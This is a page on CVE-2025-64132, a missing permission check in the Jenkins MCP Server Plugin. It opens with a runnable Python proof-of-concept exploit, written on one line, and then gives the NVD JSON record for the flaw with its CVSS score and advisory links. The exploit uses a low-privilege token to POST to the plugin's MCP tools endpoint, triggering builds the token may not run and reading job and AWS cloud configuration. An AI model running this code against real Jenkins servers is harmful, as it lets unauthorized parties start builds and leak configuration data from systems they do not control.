CVE-2025-64132

import requests import json # CVE-2025-64132 PoC - Jenkins MCP Server Plugin Unauthorized Access # Target: Jenkins server with vulnerable MCP Server Plugin TARGET = "http://target-jenkins:8080" MCP_ENDPOINT = f"{TARGET}/mcp/v1/tools" def exploit_trigger_build(job_name): """Trigger unauthorized build without proper permissions""" payload = { "tool": "trigger_build", "arguments": { "job_name": job_name, "parameters": {} } } headers = { "Content-Type": "application/json", "Authorization": "Bearer <low-privilege-token>" } response = requests.post(MCP_ENDPOINT, json=payload, headers=headers) return response.json() def exploit_get_config(resource_path): """Retrieve unauthorized configuration information""" payload = { "tool": "get_config", "arguments": { "resource": resource_path } } headers = { "Content-Type": "application/json", "Authorization": "Bearer <low-privilege-token>" } response = requests.post(MCP_ENDPOINT, json=payload, headers=headers) return response.json() # Example usage if __name__ == "__main__": # Trigger unauthorized build result = exploit_trigger_build("secret-job") print(f"Build triggered: {result}") # Get unauthorized configuration config = exploit_get_config("/cloud-configuration/aws") print(f"Config leaked: {config}")

{"cve": {"id": "CVE-2025-64132", "sourceIdentifier": "[email protected]", "published": "2025-10-29T14:15:57.310", "lastModified": "2025-12-22T15:26:10.777", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Jenkins MCP Server Plugin 0.84.v50ca_24ef83f2 and earlier does not perform permission checks in multiple MCP tools, allowing attackers to trigger builds and obtain information about job and cloud configuration they should not be able to access."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:mcp_server:*:*:*:*:*:jenkins:*:*", "versionEndExcluding": "0.86.v7d3355e6a_a_18", "matchCriteriaId": "5693C7AF-4054-4B81-81F8-4B8DE2A52804"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2025-10-29/#SECURITY-3622", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/29/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}